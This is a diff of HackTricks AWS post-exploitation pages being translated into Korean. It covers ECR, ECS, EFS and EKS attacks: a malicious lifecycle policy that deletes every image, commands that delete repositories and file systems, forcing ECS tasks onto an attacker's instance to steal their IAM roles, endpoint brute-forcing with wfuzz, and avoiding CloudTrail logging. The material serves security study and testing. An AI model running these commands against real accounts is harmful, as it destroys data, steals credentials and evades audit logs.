자세한 정보와 [**malmirror 스크립트**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)에 대한 접근은 우리의 **GitHub 저장소**에서 찾을 수 있습니다. 이 스크립트는 프로세스를 자동화하고 간소화하여 공격 연구 목적으로 **빠르고, 간단하며, 반복 가능**하게 만듭니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,13 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check
|
||||
자세한 정보는 확인하세요
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
|
||||
### 로그인, 풀 및 푸시
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -38,17 +37,16 @@ docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
|
||||
After downloading the images you should **check them for sensitive info**:
|
||||
이미지를 다운로드한 후에는 **민감한 정보가 있는지 확인해야 합니다**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
@@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||
|
||||
이 권한 중 하나라도 가진 공격자는 **저장소의 모든 이미지를 삭제하는 라이프사이클 정책을 생성하거나 수정할 수 있으며**, 그 후 **전체 ECR 저장소를 삭제할 수 있습니다**. 이로 인해 저장소에 저장된 모든 컨테이너 이미지가 손실됩니다.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
@@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,42 +12,37 @@ For more information check:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
ECS에서 **IAM 역할은 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결되어 있습니다.\
|
||||
즉, ECS 인스턴스를 **타격**하는 데 성공하면 **ECR 및 EC2 인스턴스와 연결된 IAM 역할을 얻을 수 있습니다**. 이러한 자격 증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근**할 수 있다면, **어떤 다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
|
||||
또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 잠재적으로 **공격자의 인스턴스** 내에서 실행되어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
같은 기술은 **클러스터에서 EC2 인스턴스를 등록 해제하여** 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **작업이 다른 인스턴스에서 실행되도록 강제할 것입니다:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
작업을 강제로 재실행하는 마지막 기술은 ECS에 **작업 또는 컨테이너가 중지되었다**고 알리는 것입니다. 이를 수행할 수 있는 3가지 잠재적인 API가 있습니다:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
@@ -55,13 +50,8 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR 컨테이너에서 민감한 정보 훔치기
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
EC2 인스턴스는 아마도 **이미지를 다운로드**할 수 있는 `ecr:GetAuthorizationToken` 권한을 가질 것입니다 (그 안에서 민감한 정보를 검색할 수 있습니다).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
# AWS - EFS 포스트 익스플로이테이션
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
@@ -12,47 +12,35 @@ For more information check:
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
|
||||
|
||||
공격자는 마운트 대상을 삭제하여 해당 마운트 대상을 의존하는 애플리케이션과 사용자에 대한 EFS 파일 시스템 접근을 방해할 수 있습니다.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
|
||||
**잠재적 영향**: 파일 시스템 접근의 중단 및 사용자 또는 애플리케이션에 대한 잠재적 데이터 손실.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
|
||||
|
||||
공격자는 전체 EFS 파일 시스템을 삭제할 수 있으며, 이는 데이터 손실로 이어지고 파일 시스템에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
|
||||
**잠재적 영향**: 삭제된 파일 시스템을 사용하는 애플리케이션에 대한 데이터 손실 및 서비스 중단.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
|
||||
|
||||
공격자는 EFS 파일 시스템 속성(예: 처리량 모드)을 업데이트하여 성능에 영향을 주거나 리소스 고갈을 초래할 수 있습니다.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**잠재적 영향**: 파일 시스템 성능 저하 또는 리소스 고갈.
|
||||
|
||||
**Potential Impact**: Degradation of file system performance or resource exhaustion.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
|
||||
### `elasticfilesystem:CreateAccessPoint` 및 `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
공격자는 액세스 포인트를 생성하거나 삭제하여 액세스 제어를 변경하고 잠재적으로 파일 시스템에 대한 무단 액세스를 부여할 수 있습니다.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
|
||||
**잠재적 영향**: 파일 시스템에 대한 무단 접근, 데이터 노출 또는 수정.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,110 +4,103 @@
|
||||
|
||||
## EKS
|
||||
|
||||
For mor information check
|
||||
자세한 정보는 확인하세요
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
### AWS 콘솔에서 클러스터 나열하기
|
||||
|
||||
If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
**`eks:AccessKubernetesApi`** 권한이 있는 경우 AWS EKS 콘솔을 통해 **Kubernetes 객체를 볼 수 있습니다** ([자세히 알아보기](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connect to AWS Kubernetes Cluster
|
||||
|
||||
- Easy way:
|
||||
### AWS Kubernetes 클러스터에 연결하기
|
||||
|
||||
- 쉬운 방법:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- 그렇게 쉬운 방법은 아닙니다:
|
||||
|
||||
- Not that easy way:
|
||||
|
||||
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
|
||||
|
||||
In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
|
||||
**`aws eks get-token --name <cluster_name>`** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요) 그리고 **클러스터 이름**도 필요합니다.
|
||||
|
||||
제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서처럼 **userData**에서 이 정보를 쉽게 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### From AWS to Kubernetes
|
||||
### AWS에서 Kubernetes로
|
||||
|
||||
The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**.
|
||||
**EKS 클러스터**의 **생성자**는 **항상** 그룹 **`system:masters`** (k8s 관리자)의 kubernetes 클러스터 부분에 접근할 수 있습니다. 이 글을 작성할 당시 **클러스터를 생성한 사람**을 찾는 **직접적인 방법**은 **없습니다** (CloudTrail을 확인할 수 있습니다). 그리고 그 **권한**을 **제거할 방법**도 **없습니다**.
|
||||
|
||||
The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
|
||||
**더 많은 AWS IAM 사용자 또는 역할에 K8s에 대한 접근을 부여하는 방법**은 **configmap** **`aws-auth`**를 사용하는 것입니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
|
||||
> 따라서, config map **`aws-auth`**에 **쓰기 권한**이 있는 사람은 **전체 클러스터를 손상시킬 수 있습니다**.
|
||||
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 내용은 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
또한 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **게시물을 확인하여 IAM -> Kubernetes 인증이 어떻게 작동하는지 알아보세요**.
|
||||
|
||||
### From Kubernetes to AWS
|
||||
### Kubernetes에서 AWS로
|
||||
|
||||
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 할 수 있습니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Decoding the JWT token we get the cluster id & also the region.  Knowing that the standard format for EKS url is
|
||||
### JWT 토큰에서 API 서버 엔드포인트 가져오기
|
||||
|
||||
JWT 토큰을 디코딩하면 클러스터 ID와 지역을 얻을 수 있습니다.  EKS URL의 표준 형식이 다음과 같다는 것을 알고 있습니다.
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one:
|
||||
```markdown
|
||||
'두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 개인적으로 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복되는 것을 보았습니다:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list
|
||||
|
||||
어쨌든 3자에 불과하므로 우리는 이를 무차별 대입할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요.
|
||||
```
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -116,44 +109,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
|
||||
Then with wfuzz
|
||||
|
||||
그런 다음 wfuzz로
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Remember to replace & .
|
||||
> & 를 교체하는 것을 잊지 마세요.
|
||||
|
||||
### Bypass CloudTrail
|
||||
### CloudTrail 우회
|
||||
|
||||
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
|
||||
공격자가 **EKS에 대한 권한**을 가진 AWS의 자격 증명을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(단지 로컬에서 토큰을 생성할 뿐입니다).
|
||||
|
||||
